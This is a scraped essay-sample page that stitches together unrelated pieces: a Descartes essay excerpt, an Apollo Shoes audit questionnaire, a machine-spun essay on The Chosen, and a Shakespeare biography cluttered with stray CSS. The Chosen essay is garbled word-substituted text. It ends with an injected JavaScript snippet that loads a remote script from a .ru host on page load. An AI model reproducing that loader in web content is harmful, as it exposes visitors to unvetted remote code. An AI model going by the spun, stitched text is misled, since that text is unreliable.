How Descartes Throws On The Wind Of Search For A Universal...

In this essay I will address how Descartes throws all his beliefs to the wind in search for a universal and unchanging foundational truth, that bypass his deceptive senses and shines light on all his beliefs that are clearly and distinctly, proven based on his supreme foundational truth. As Descartes tries to unravel his former beliefs and find an unquestioning truth in which he can build all other truths without the errors of deception leading him astray. Descartes begins his search by questioning how his former beliefs became questionable and faulty in the first place. In meditation one Descartes explains that everything that he had previously believed in before had been learned either by his sensory perceptions or through his sensory†¦show more content†¦Which leads Descartes to distrust all his sensory perceptions, because he feels that they can be used against him to deceive him. However Descartes does see that even though his senses can deceive him that doesn’t mean that his senses aren’t altogether a deception themselves. His mind cannot create something that he himself has never felt, heard, seen, smelled, or tasted before, the mind creates what it has encountered before and sometimes even if you haven’t encountered a specific s ituation or sensation the mind will at least compare it to something of similar sensation. So, for this Descartes knows that his senses have the ability to deceive him but that when they do deceive him they are using real reference points. With the false sensory perceptions in mind, Descartes believes of this idea that an evil demon exist to solely try and deceive him using his senses. Which leads Descartes to cut out all understanding and beliefs of everything he cant be sure of â€Å"no sky, no earth, no minds, no bodies† (pg. 139). But then Descartes realizes and states in his second meditation, if he cut outs everything in which he thought existed what would he be left with, nothing, would he himself even exist? No, he has to exist right because he’s thinking and the evil demon is deceiving him. The evil demon would not try and deceive him if he did not exist in the first place. (Descartes Meditations 1-3, slide 26) This train of thought leads Descartes to his most famous line and the basis

Essay about Apollo Shoes - Internal Controls Solution

ICC-1 Apollo Shoes, Inc. Internal Control Questionnaire Sales Transaction Processing December 31, 2007 Objectives and Questions Yes, No, N/A Comments Environment: 1. Is the credit department independent of the sales department? Yes. Credit manager in Treasurers office 2. Are sales of the following types controlled by the same procedures described below? Sales to employees, COD sales, disposals of property, cash sales and scrap sales. No available information, apparently not applicable Existence Objective: 3. Is access to sales invoice blanks restricted? Yes. Kept in locked closet 4. Are prenumbered bills of lading or other shipping documents prepared or completed in the shipping department? Yes. Shipping department†¦show more content†¦Dishonest shipping personnel can alone let accomplices receive large quantities and alter the invoice to charge them for small quantities. In this system, sales and accounts receivable would be understated, and inventory would be understated. The physical count of inventory will need to be observed carefully (extensive work) to detect material misstatement, if any. ICC-1.3 Apollo Shoes Accounting and Control Procedure Manual Sales and Accounts Receivable Daily batches of sales invoices shall be analyzed by sales totals in the athletic shoes product lines. Sales credits are coded to three product line sales revenue accounts. Charges to customer accounts should be dated the date of shipment. When sales invoices are recorded, the numerical sequence shall be checked by an accounts receivable clerk, and missing invoices must be located and explained. The items shipped shall be compared to the items billed for proper quantity, price, and other sales order terms. The general ledger supervisor shall compare the copy 2 daily batch total with the copy 4 individual accounts posting total sent from the accounts receivable department. Discrepancies shall be investigated to help assure that the customer subsidiary accounts are posted for the same total amount posted to the controlShow MoreRelatedBeginning the Audit Report Essay1934 Words   |  8 PagesTo: Senior Partner From: Kim Cummings Re: Apollo Shoes Audit Dear Senior Partner: As you know, our firm has been selected to perform the Apollo Shoes audit. The planning process has been the most delicate stage as we want to ensure we have a solid audit approach. The team I select will be dedicated in meeting the objectives and strategies for completing the audit. I will briefly explain to you how I plan to begin the audit process. Now that Apollo Shoes has selected our firm, the initial planningRead MoreEssay on Apollo Shoes Case33718 Words   |  135 Pages[pic]APOLLO SHOES, INC. An Audit Case to Accompany AUDITING AND ASSURANCE SERVICES SUGGESTED SOLUTIONS Prepared by Professor Cal Christian East Carolina University Professor Tim Louwers James Madison University Introduction We designed the Apollo Shoes audit case to introduce students to the entire audit process, from planning the engagement to drafting the final report. Students are asked to assume the role of a veteran of two-to-three â€Å"busy† seasons, â€Å"in-charging†Read More9102013 Week 4 LT C Apollo Shoes Case S14618 Words   |  59 Pagesassets. Your memo contained excellent conclusions, including inconsistencies in the useful life of real property, computer equipment, and production equipment. You noted inconsistencies in depreciation method for various asset categories based on Apollo Shoes accounting guidelines. Regarding RD cost related to certain patents that had been capitalized, I agree with your conclusion that the patents should be expensed. You also had valid conclusions in your prepaid assets and other assets workpapersRead MoreAn Organisation Study in Apollo Tyres Company10707 Words   |  43 PagesAN ORGANISATIONAL STUDY IN APOLLO TYRES LTD PERAMBRA A Project Report Submitted to Calicut University In partial fulfillment of the requirement for the award Of the Degree of BACHELOR OF BUSINESS ADMINISTRATION By SAJA.K.A Registration no: Under the guidance of SREEJA MISS Department Of Commerce Management Studies ANSAR WOMEN’S COLLEGE PERUMPILAVU CERTIFICATE This is to certify that the mini project entitled â€Å"Organizational Study† is a bonafide record of the work done by SAJA.K.A, RegistrationRead MoreExamine the Importance of Demographics and Physical Infrastructure1887 Words   |  8 Pageslived a lifestyle of freedom, mobility, and masculinity. Successful marketing, which promoted high- end motorcycles as an integral component of one’s lifestyle had served the purposes for sustaining Thorr with a 40% market share—iconic brand devotion (Apollo Group Inc., 2008). Over the past months, sales have been waning largely because of changing market demographics —aging customer base, younger generations influx, and competition. The high-end lifestyle image and pricing was not appealing to theRead MoreAn Organizational Study Done at Apollo Tyres Company Perambra.10400 Words   |  42 PagesAN ORGANISATIONAL STUDY IN APOLLO TYRES LTD PERAMBRA A Project Report Submitted to Calicut University In partial fulfillment of the requirement for the award Of the Degree of BACHELOR OF BUSINESS ADMINISTRATION CONTENTS CHAPTER NO: TITLE page no:- 1 INTRODUCTION 1 2 Read MoreOrganisation Study of Rado Tyres Kothamangalam9692 Words   |  39 Pagesunderstand the functioning of each department and the interdependence of these departments. * To familiarize with a business organization. * To study the functioning of different departments in an organization. * To know the influence of various internal and external factors in the functioning of an organization. * To study the performance of a company. * To know the scope of the tyre industry. 1.3 REASON FOR SELECTING THE COMPANY Rado Tyres is a large company; it has more than eight departmentsRead MoreConsumer Behavour3769 Words   |  16 Pageswhen buying items which do not reflect much on the consumers personality or their purchase involves small amounts of money .or the risk associated with them is not high, the degree of involvement of the consumer is likely to be low. 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The Chosen 3 Essay Research Paper In free essay sample

The Chosen 3 Essay, Research Paper In the novel, The Chosen, Chaim Potok successfully captures the unusual imposts of a Judaic community through humor and sarcasm. Potok # 8217 ; s fresh focal points on two Judaic male childs, who live in a universe where high criterions of accomplishment are expected of them by their households. The wish to go an insightful leader in the Jewish community was an ever prevailing usage of the two households. But with difficult work and doggedness, the two male childs ( Rueven and Danny ) , find out who they truly are, and what lives they will take in the hereafter. The fresh dressed ores on the desire to gestate a individual # 8217 ; s personal wants while conforming to tradition. The footing of all the struggles in the full fresh root from the differences in household life which are brought on by the disagreements of spiritual beliefs. Rueven, who is an Orthodox Jew, goes to a parochial school where Hebrew is taught alternatively of Yiddish ( which would be considered the first Judaic linguistic communication ) . Rueven # 8217 ; s school is besides really incorporate with many English speech production categories. But on the other manus, Danny, who attends a yeshiva ( besides a Judaic school ) , considers himself a true Jew because he ( unlike Rueven ) wears the traditional side coil and is educated in Yiddish. At first the two male childs can non stand each other, many times Danny refers to Rueven as # 8220 ; apikorsim, # 8221 ; ( 32 ) which fundamentally translates to # 8230 ; person who is non true to their faith. These differences between the two shortly become disused with one unfortunate accident, and do them recognize they could utilize each other to acquire through some difficult times. # 8220 ; Silence is all we dread. There # 8217 ; s ransom in a voice # 8211 ; But Silence is infinity. # 8221 ; -Emily Dickinson Emily Dickinson # 8217 ; s quotation mark can be related to the novel in several ways. # 8220 ; Silence is all we dread, # 8221 ; can associate to Danny # 8217 ; s life style and how he can non stand the silence in which his male parent lives. The lone clip Danny makes conversation with his male parent is when he is analyzing the Talmud. # 8221 ; It occurred to me all of a sudden that non a individual word had passed between him and his male parent all eventide, except for the Talmud competition # 8221 ; ( 145 ) . This silence is fundamentally what drove Danny to seek for counsel or person to speak to. / gt ; # 8220 ; There # 8217 ; s ransom in a voice, # 8221 ; relates to Rueven being Danny # 8217 ; s Jesus. As Danny explains to Rueven what he said to his male parent, # 8220 ; I told him we were good friends, I truly think we are # 8221 ; ( 119 ) . Danny relied on Rueven as a friend for the following several old ages. The silence was now endurable with a friend at his side. He finally gained adequate assurance with Rueven # 8217 ; s aid to state his male parent he did non desire to go a Rabbi like him and his male parent. He had risked the devastation of traditional ways by disobeying his male parents wants. # 8220 ; But Silence is eternity, # 8221 ; explains how Reb Saunders ( Danny # 8217 ; s male parent ) has raised his boy in silence since he was born. Even though Danny is used to the silence, and still does non like it, others are appalled by it and make non understand it. Danny does non oppugn the silence because his male parent does non talk. But by raising Danny in silence # 8230 ; it teaches him to be more independent, it puts him in the place to be a leader # 8230 ; a Rabbi, but Danny does non desire this. He continuously reads books on great bookmans and on depth psychology, because of this certain involvement he decides he would wish to be a psychologist. Danny explains to Rueven how he wants to be a psychologist, # 8220 ; I # 8217 ; ll be majoring in psychological science # 8221 ; ( 148 ) . The Dickinson quotation mark relates to about everything in the novel, and is really easy to utilize while explicating certain inside informations. The novel, The Chosen, shows us how of import friends truly are, and what sort of consequence your household has on the determinations you make. The bond brought between Danny and Rueven is singular, a pursuit to absorb every bit much cognition as possible like they did, is unbelievable. The unusual manner of conveying up a kid in silence rubbed off on Danny a spot, he became a strong independent individual on his ain, with a small aid from Rueven. In the terminal, Danny conforms with tradition and lives up to his male parents criterions. As Rueven # 8217 ; s father inquiries Danny, # 8220 ; When you have a boy of your ain, you will raise him in silence? # 8221 ; ( 284 ) Danny responds, # 8220 ; Yes, if I can # 8217 ; t happen another way. # 8221 ; ( 284 ) Danny eventually understands his male parent, and respects him for his determination in taking to raise him that manner. Danny says to Rueven about him and his male parent, # 8220 ; We talk now. # 8221 ; ( 284 ) ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

William Shakespeare Example For Students

William Shakespeare Biography Biography William Shakespeare  (1564–1616) English dramatist and poet, born at Stratford-on-Avon, Warwickshire, on St George’s Day, 23 April. Very few of the traditional stories of his early life can stand up to serious examination. His father, John Shakespeare (c.1529–1601) was a glover and wool-dealer who became an alderman, bailiff and money-lender in Stratford and, after a period of financial difficulty and obscurity, received a grant of arms in 1596. His mother, Mary Arden (c.1537–1608), came from a landed family whose genealogy could be traced to Anglo-Saxon times. We will write a custom essay on William Shakespeare specifically for you for only $16.38 $13.9/page Order now Educated at the King’s New School (which had covert Jesuit connections), he would have been well grounded in Latin and rhetoric. Some scholars suggest that he was a servant or teacher in Catholic households in Lancashire 1581–82 (a variant of John *Aubrey’s story that he was ‘a schoolmaster in the country’) and he seems to have known five men who were executed as recusants. The next positive evidence of Shakespeare’s existence is the licence to marry Anne *Hathaway (1582). The christenings of their children are recorded, that of his elder daughter Susanna in May 1583, that of the twins Judith and Hamnet in February 1585. The boy Hamnet died aged 11 but Judith married and survived her father; his granddaughter Elizabeth (d.1670), the daughter of Susanna, who had married John Hall, a Stratford physician, was his last known descendant. A familiar, but less likely, legend relates that he left Stratford (c.1585) to avoid prosecution for poaching on the estate of Sir Thomas Lucy of Charlecote. He probably arrived in London between 1585 and 1587, drawn by the appeal of city life and growing realisation of his own talents, probably as an actor-writer with ‘Lord Strange’s Men’, an acting troupe, in theatres originally managed by James Burbage. A disparaging reference to Shakespeare in 1592 by the dramatist Robert Greene confirms that he was well established in London. Circumstances favoured him: nine openair theatres were built in London in Shakespeare’s lifetime, beginning in 1576, some accommodating audiences of up to 3000, remarkable for a city of 200,000 people. There was an ever increasing demand for plays and spectacles (including bearbaiting), a  situation unprecedented until the explosive impact of cinema and television more than 300 years later. London’s theatres were closed in 1592–94 because of the plague. When they re-opened, Shakespeare was with ‘The Lord Chamberlain’s Men’, which acted at court, as actor, writer and probably director. In 1603 the company was renamed ‘The King’s Men’, under James I’s patronage. Shakespeare’s writing mirrors the circumstances of his times: drama in the theatre filled a psychological gap after the suppression of the Mass and abandonment of mystery plays, the upsurge of patriotic feelings after the defeat of the Spanish Armada in 1588, and publishing poetry when the theatres were closed. There was an extraordinary burst of creativity in drama towards the end of the Elizabethan and in the early Jacobean periods, unparalleled until the literary explosion in Russia in the 19th century. Shakespeare’s contemporary dramatists and poets included Spenser, Sidney, Greene, Middleton, Marlowe, Nash, Jonson, Kyd, Webster, Beaumont, Fletcher, Tourneur, Dekker, Ford, Thomas Heywood, George Wilkins, Donne and the Metaphysical poets. Francis Meres, in Palladis Tania. Wit’s Treasury (1598), rated Shakespeare highly both in comedy and tragedy. Shakespeare’s first published works were the narrative poems Venus and Adonis (1593), very successful and much reprinted, and The Rape of Lucrece (1594), both based on Ovid and dedicated to Henry Wriothesley, the young Earl of Southampton. Most of the sonnets may date from this period. Eleven plays (13 including disputed attributions) are based on mistaken /double identity. Answers to the questions ‘Who are you?’ or ‘Are you who you say you are?’ could be matters of life or death in Elizabethan England, after convulsive changes from Catholicism, to Anglicanism, back to Catholicism and returning to modified strains of Anglicanism. Three of Shakespeare’s plays (As You Like It, Twelfth Night, The Tempest) do not specify a location, 14 are set (in whole or in part) in England, 12 in Italy (Northern Italy 6, Ancient Rome 4, Sicily 3,), 5  (in  whole or part) in France, 2 in Turkey (Ephesus and Ancient Troy), 2 in Athens and Ancient Britain, 1 each in Bohemia, Croatia (Illyria), Egypt, Denmark, Scotland, Lebanon (Tyre), and Vienna. Some have several locations, for example Henry V in England and France, Antony and Cleopatra in Rome, Alexandria, Messina and Athens, Othello in Venice and Cyprus. He drew on material from Homer, Terence, Plautus, Virgil, Ovid, Seneca, Plutarch, Boccaccio, Chaucer, *Caxton, Bandello, Holinshed, Montaigne and the Geneva Bible (especially Job and St Matthew.) In Shakespeare’s time, all the female characters, some of the greatest in all drama – Juliet, Lady Macbeth, Gertrude, Rosalind, Desdemona, Cleopatra, Portia, Beatrice – were played by men or boys. There are only two functional marriages in the 38 plays, Macbeth and Lady Macbeth, Claudius and Gertrude, suggesting that Shakespeare took a bleak view of the institution. Bill Bryson’s conclusion that there is ‘no evidence that Shakespeare had a warm relationship with any other human being’ is probably correct. The earliest plays included the political-historical tetralogy Henry VI Part 1, Part 2 and Part 3 and Richard III (1589–92). .u716cfe71801a4d7f5b9b70bbcc927b0c , .u716cfe71801a4d7f5b9b70bbcc927b0c .postImageUrl , .u716cfe71801a4d7f5b9b70bbcc927b0c .centered-text-area { min-height: 80px; position: relative; } .u716cfe71801a4d7f5b9b70bbcc927b0c , .u716cfe71801a4d7f5b9b70bbcc927b0c:hover , .u716cfe71801a4d7f5b9b70bbcc927b0c:visited , .u716cfe71801a4d7f5b9b70bbcc927b0c:active { border:0!important; } .u716cfe71801a4d7f5b9b70bbcc927b0c .clearfix:after { content: ""; display: table; clear: both; } .u716cfe71801a4d7f5b9b70bbcc927b0c { display: block; transition: background-color 250ms; webkit-transition: background-color 250ms; width: 100%; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #95A5A6; } .u716cfe71801a4d7f5b9b70bbcc927b0c:active , .u716cfe71801a4d7f5b9b70bbcc927b0c:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #2C3E50; } .u716cfe71801a4d7f5b9b70bbcc927b0c .centered-text-area { width: 100%; position: relative ; } .u716cfe71801a4d7f5b9b70bbcc927b0c .ctaText { border-bottom: 0 solid #fff; color: #2980B9; font-size: 16px; font-weight: bold; margin: 0; padding: 0; text-decoration: underline; } .u716cfe71801a4d7f5b9b70bbcc927b0c .postTitle { color: #FFFFFF; font-size: 16px; font-weight: 600; margin: 0; padding: 0; width: 100%; } .u716cfe71801a4d7f5b9b70bbcc927b0c .ctaButton { background-color: #7F8C8D!important; color: #2980B9; border: none; border-radius: 3px; box-shadow: none; font-size: 14px; font-weight: bold; line-height: 26px; moz-border-radius: 3px; text-align: center; text-decoration: none; text-shadow: none; width: 80px; min-height: 80px; background: url(https://artscolumbia.org/wp-content/plugins/intelly-related-posts/assets/images/simple-arrow.png)no-repeat; position: absolute; right: 0; top: 0; } .u716cfe71801a4d7f5b9b70bbcc927b0c:hover .ctaButton { background-color: #34495E!important; } .u716cfe71801a4d7f5b9b70bbcc927b0c .centered-text { display: table; height: 80px; padding-left : 18px; top: 0; } .u716cfe71801a4d7f5b9b70bbcc927b0c .u716cfe71801a4d7f5b9b70bbcc927b0c-content { display: table-cell; margin: 0; padding: 0; padding-right: 108px; position: relative; vertical-align: middle; width: 100%; } .u716cfe71801a4d7f5b9b70bbcc927b0c:after { content: ""; display: block; clear: both; } READ: The play Richard II by William Shakespeare is about a King who failed to perform his duties as King EssayThe Henry VI plays, popular in their time, are now sometimes cut and bracketed together and performed as a single work. However, Richard III is a dramatic masterpiece, despite the unremitting Tudor partisanship of Shakespeare’s portrayal of *Richard. The Comedy of Errors (a free adaptation of Plautus) and Titus Andronicus (from Seneca) are also early and despite skill in plot construction and versification, there are crudities which disappeared as the playwright matured. When the later tetralogy Richard II, Henry IV Part 1 and Part 2 and Henry V (1594– 99) is compared with the first, it is clear how far Shakespeare’s power and psychological insight have strengthened, notably in *Henry IV’s torment about the murder of *Richard II. Sir John Falstaff, fat, scheming and disreputable, Shakespeare’s greatest comic creation, is a central character in Henry IV, parts 1 and 2, and The Merry Wives of Windsor, and his death is reported in Henry V. In comedy, Shakespeare was gaining an increased sureness of touch in combining farcical incident with subtle understanding of human nature, demonstrated in The Taming of the Shrew, which, with The Two Gentlemen of Verona and Love’s Labour’s Lost, was almost certainly written before 1594. Some of his most popular plays were written in the period 1594–99: Romeo and Juliet and A Midsummer Night’s Dream, followed by The Merchant of Venice and The Merry Wives of Windsor, and another history play, King John, now rarely performed. Increasingly rich, in 1597 he bought New Place, a  substantial house in Stratford. In 1599 Shakespeare’s company acquired the Globe Theatre, which burned down in 1613. On the eve of *Essex’s rebellion in February 1601, his supporters commissioned a special performance of Richard II, where a weakening sovereign is overthrown. Shakespeare’s company was never accused of complicity in the plot: the play was well known and it was clearly a commercial transaction. Shakespeare’s finest comedies were Much Ado About Nothing (1598), As You Like It (1599) and Twelfth Night (1600–02). As a playwright he now reached his zenith, beginning with Julius Caesar (1599), the first of three Roman plays based on Plutarch, with powerful characterisation of Brutus – by far the longest part, Mark Antony and Caesar, and a chilling cameo of Octavian (the future Caesar *Augustus.) The second and third of the Roman plays were Antony and Cleopatra (1606–07) and Coriolanus (1608). Antony and Cleopatra, written in 42 scenes, is a complex epic, involving love, betrayal and conflicting loyalties, and critical opinion has long been divided on its ranking. Shakespeare borrowed from Plutarch and Virgil (whose account of Dido and Aeneas was in part a tactful account of Cleopatra and Antony, their contemporary prototypes). Frank Kermode marvelled at the play’s ‘glamour †¦ and magnificence’ and the contrasts between ‘melting Alexandria and †¦ rigid, stony Rome.’ Coriolanus, a dark, rarely performed, late play, considered superior to Hamlet by T. S. Eliot, is the most overtly political work in the canon, with a disconcerting contemporary relevance: the central character’s chilling sense of his own honour drives his ambition and self-justification. Hamlet (1600–01) is the longest, greatest, most performed, most filmed, most quoted of all the plays and the one most resembling a novel, with its seven interior monologues (soliloquies), exploring the problem of self-knowledge and emotional paralysis. Then came Othello (1604), with its themes of sexuality, race and treachery, King Lear (1605–06), the darkest of all, with its paroxysms of grief, a metaphor for reversion from civilization to barbarism, and Macbeth, psychologically one of the most complex (1605–06). Troilus and Cressida (1602), Measure for Measure (1603) and All’s Well that Ends Well (1604–05) are sometimes described as Shakespeare’s ‘problem plays’, where the boundary between comedy and tragedy is becoming blurred and mood changes are sudden and sometimes inexplicable. Cymbeline (1610), set in Ancient Britain, is an extraordinary mixture of genres, full of anachronisms but with fine poetry. The Winter’s Tale (1610–11) is a complex and uneven work about separation in families: a return to life after 16 years. Kermode points to ranting and pathology in the first part, then calm and acceptance in the last acts His last completed play, The Tempest (1610–11), shows his creative powers at their highest and the character of Prospero, the deposed Duke of Milan, a magus-like figure on a remote island, seems to be strongly autobiographical and may have been played by Shakespeare himself. The Tempest, the most musical of the 38 plays, represents a farewell to his creative life in the theatre. Montaigne’s influence, with its intense speculation about the inner life and its contradictions, is apparent in Hamlet and King Lear and he is quoted (without attribution) in The Tempest. Montaigne’s Essays were translated by John *Florio who, like Shakespeare, enjoyed the patronage of the Earl of Southampton. The plays are not dated and attempts to arrange them in chronological order have provoked endless controversy. At least 18 were published in Shakespeare’s lifetime in quarto form, and they are of particular interest because of their relevance to specific productions, so that the name of an actor may appear in the text instead of the character played. A collected edition of 36 plays, known as the First Folio, appeared posthumously in 1623, and the names of the editors, John Heminges and Henry Condell, friends and fellow-actors, vouched for its general authenticity, although the texts were drawn from actors’ reconstructions and spellings and rhymes are inconsistent. .u55eeef1af68225fea3ecbd25540672c2 , .u55eeef1af68225fea3ecbd25540672c2 .postImageUrl , .u55eeef1af68225fea3ecbd25540672c2 .centered-text-area { min-height: 80px; position: relative; } .u55eeef1af68225fea3ecbd25540672c2 , .u55eeef1af68225fea3ecbd25540672c2:hover , .u55eeef1af68225fea3ecbd25540672c2:visited , .u55eeef1af68225fea3ecbd25540672c2:active { border:0!important; } .u55eeef1af68225fea3ecbd25540672c2 .clearfix:after { content: ""; display: table; clear: both; } .u55eeef1af68225fea3ecbd25540672c2 { display: block; transition: background-color 250ms; webkit-transition: background-color 250ms; width: 100%; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #95A5A6; } .u55eeef1af68225fea3ecbd25540672c2:active , .u55eeef1af68225fea3ecbd25540672c2:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #2C3E50; } .u55eeef1af68225fea3ecbd25540672c2 .centered-text-area { width: 100%; position: relative ; } .u55eeef1af68225fea3ecbd25540672c2 .ctaText { border-bottom: 0 solid #fff; color: #2980B9; font-size: 16px; font-weight: bold; margin: 0; padding: 0; text-decoration: underline; } .u55eeef1af68225fea3ecbd25540672c2 .postTitle { color: #FFFFFF; font-size: 16px; font-weight: 600; margin: 0; padding: 0; width: 100%; } .u55eeef1af68225fea3ecbd25540672c2 .ctaButton { background-color: #7F8C8D!important; color: #2980B9; border: none; border-radius: 3px; box-shadow: none; font-size: 14px; font-weight: bold; line-height: 26px; moz-border-radius: 3px; text-align: center; text-decoration: none; text-shadow: none; width: 80px; min-height: 80px; background: url(https://artscolumbia.org/wp-content/plugins/intelly-related-posts/assets/images/simple-arrow.png)no-repeat; position: absolute; right: 0; top: 0; } .u55eeef1af68225fea3ecbd25540672c2:hover .ctaButton { background-color: #34495E!important; } .u55eeef1af68225fea3ecbd25540672c2 .centered-text { display: table; height: 80px; padding-left : 18px; top: 0; } .u55eeef1af68225fea3ecbd25540672c2 .u55eeef1af68225fea3ecbd25540672c2-content { display: table-cell; margin: 0; padding: 0; padding-right: 108px; position: relative; vertical-align: middle; width: 100%; } .u55eeef1af68225fea3ecbd25540672c2:after { content: ""; display: block; clear: both; } READ: Explore Shakespeare's presentation of Act 3 Scene 1 As A Turning Point In The Play? EssayThe First Folio includes the pageant play Henry VIII (1613, mostly written by John Fletcher) but excludes the collaborations Pericles, Prince of Tyre (1607, with George Wilkins?), and The Two Noble Kinsmen (1613, Fletcher). Cardenio, based on a story in *Cervantes’ Don Quixote, and a collaboration between Shakespeare and Fletcher, performed in 1613, is now lost. About 750 copies were printed, selling for  £1. Eighteen plays, including Macbeth, only survive because they appear in the First Folio. The Folger Shakespeare Library in Washington DC holds 82 of the surviving copies. Shakespeare’s plays are generally far longer than those written by his contemporaries. The Sonnets were published in book form, possibly without authorisation, in 1609: Sonnets Nos. 1–126 are homoerotic, addressed to a ‘fair youth’, Nos. 127– 154 to an unidentified ‘dark lady’. The dedication, by the publisher Thomas Thorpe (or T.T.) to ‘Mr W. H.’, as the ‘onlie begetter’ of the sonnets, has caused much unresolved speculation. Very little is known about Shakespeare’s life: what he read (other than the obvious sources), if he travelled, the inspirations for his powerful and original ideas, his political or religious beliefs, his sexual orientation. The richness, diversity and depth of his work led to the rise of ‘bardolatry’ in the 18th century but the meagre evidence of his personal life raised some questions, although it was not until 1856 that alternative authors were proposed. Francis *Bacon came first, then Edward de Vere, Earl of *Oxford. The 19th-century fiction that creative writing had to be autobiographical was picked up by *Freud, who should have known better. Seventy-nine alternate candidates have now been proposed. Three are royal, 16 are peers or peeresses, one a cardinal, one a saint, and 32 are published authors. None is remotely plausible. (J. S. *Bach also had an enigmatic interior life but his authorship is virtually unchallenged.) Slips in writing about Europe or classical antiquity provide support for Shakespeare’s authorship: no writer from a university would expose himself to such errors. Ulysses quotes Aristotle. There are clocks in Julius Caesar. There are striking examples of anatopism, having something out of place. The Winter’s Tale refers to the coasts (and also a desert) of Bohemia. Characters in Two Gentlemen of Verona sail from Milan to Verona (although he might have been referring to travel by canal), and from Milan to the Adriatic in The Tempest. The only banks in Venice were mercantile and lovers would not be sitting on them. Shakespeare was a man of genius who trawled and reworked the secondary sources rather than having direct exposure to life outside England. His Venetians, Romans, Athenians, Sicilians, Ancient Britons are essentially Londoners. Shakespeare’s last five years were divided between London and New Place, Stratford, where his wife had remained. He died there on his birthday, 23 April 1616 (the same date as Cervantes, but 10 days later under the unreformed Julian calendar), and is buried in Holy Trinity Church. A GPR (ground penetrating radar) scan of Shakespeare’s grave (2010) suggests that the skull is missing, possibly stolen in the 1790s. New Place was substantially rebuilt in 1702, finally demolished in 1759. Archaeology continues on the site and the gardens have been imaginatively restored. Shakespeare’s plays remained popular in his lifetime and some 20 years after. The theatres closed from 1642–60 during the Civil War and the Commonwealth, and as fashions changed his work suffered some eclipse. (After the Restoration, *Pepys recorded seeing 15 performances of plays by and 26 adaptations of Shakespeare and 76 performances of plays by Beaumont and Fletcher). However, *Dryden, and later *Johnson, proclaimed his pre-eminence, which has never been challenged since. Henry IV, Parts 1 and 2, were the first plays by Shakespeare performed in Australia (1800). More than 270 operas are based on Shakespeare’s plays, the finest being by *Purcell, *Berlioz, *Bellini, *Thomas, *Verdi, *Gounod, *Vaughan Williams, *Tippett, *Britten, *Bernstein and *Adà ¨s. There have been more than 400 television productions or films of Shakespeare’s plays, beginning with short excerpts from the silent era, e.g. King John (1899). In Shakespeare’s hands blank verse became an instrument of great delicacy whether for dialogue, narrative, description o r argument; adaptable equally to any plot or situation, tragic or comic. His vocabulary was exceptionally large for his time: David Crystal cautiously estimates that Shakespeare used between 17,000 and 20,000 words, allowing for divergent spellings, definitions and ambiguities. Bill Bryson credits Shakespeare with the coinage, or first recorded use, of 2,035 words (including ‘accommodation’, ‘addiction’, ‘assassination’, ‘barefaced’, ‘bloodstained’, ‘courtship’, ‘fashionable’, ‘frugal’, ‘generous’, ‘gossip’, ‘hobnob’, ‘lack-lustre’, ‘leapfrog’, ‘majestic’, ‘moonbeam’, ‘mountaineer’, ‘negotiate’, ‘obscene’, ‘premeditated’, ‘quarrelsome’, ‘rant’, ‘restoration’, ‘scuffle’, ‘torture’ and ‘vast’), 170 of them in Hamlet. His works have been t ranslated more than any other author and many characters are household names. No writer has given more continuous delight or shown greater insight into the heart and mind, although we know so little of his own.